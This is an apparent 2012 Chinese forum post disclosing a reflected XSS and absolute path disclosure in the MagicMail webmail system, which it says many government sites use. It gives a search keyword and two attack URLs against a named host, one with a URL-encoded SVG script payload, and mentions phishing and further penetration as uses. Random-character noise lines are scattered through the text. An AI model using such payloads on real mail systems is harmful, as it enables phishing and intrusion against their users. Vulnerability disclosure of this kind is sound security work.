今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞
3 n7 C7 U c' Z E6 C, f" ~2 R9 }6 P) z7 `4 @6 E+ [
* F) O" e! l' M# K. x
包含 一个反射性XSS 以及 绝对路径泄漏
! y" ?/ t( h( y. Y看了看 貌似全部是linux的。" d ]/ {+ I+ z* u
* ~. s' g5 {& U9 `. P关键字：迈捷邮件系统 by MagicMail- \7 z6 ~# _ I5 _ Q# N6 b: o
5 L8 ?) s# X5 T% k8 ?! S+ z% n
可以看到很多政府网站都用这个邮件系统
7 Z% Y7 z1 N. U' S7 g2 x$ X, D) M C! o G3 o1 x. p
绝对路径 http://madman.in/index.php?login_type=declare&language=
; p4 V/ {8 g8 Q0 |
$ m) J* m0 j6 c* Q3 x/ e ~6 h
2 P/ n+ F( c5 u5 C0 A, j& tXSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E
2 o* g+ L( T8 l% n- _8 t+ O
8 P6 T/ I/ N+ j' l' N# j# [# f" a0 i% x5 v
: Z7 f3 b! g9 D虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等2 T) G) C) s" t7 S
/ \- U5 c! ]0 } E修复方案：看官方补丁吧。* q3 e. C+ v( I3 F9 i( W
|
发表于 2012-11-9 20:38:41
收藏
支持
反对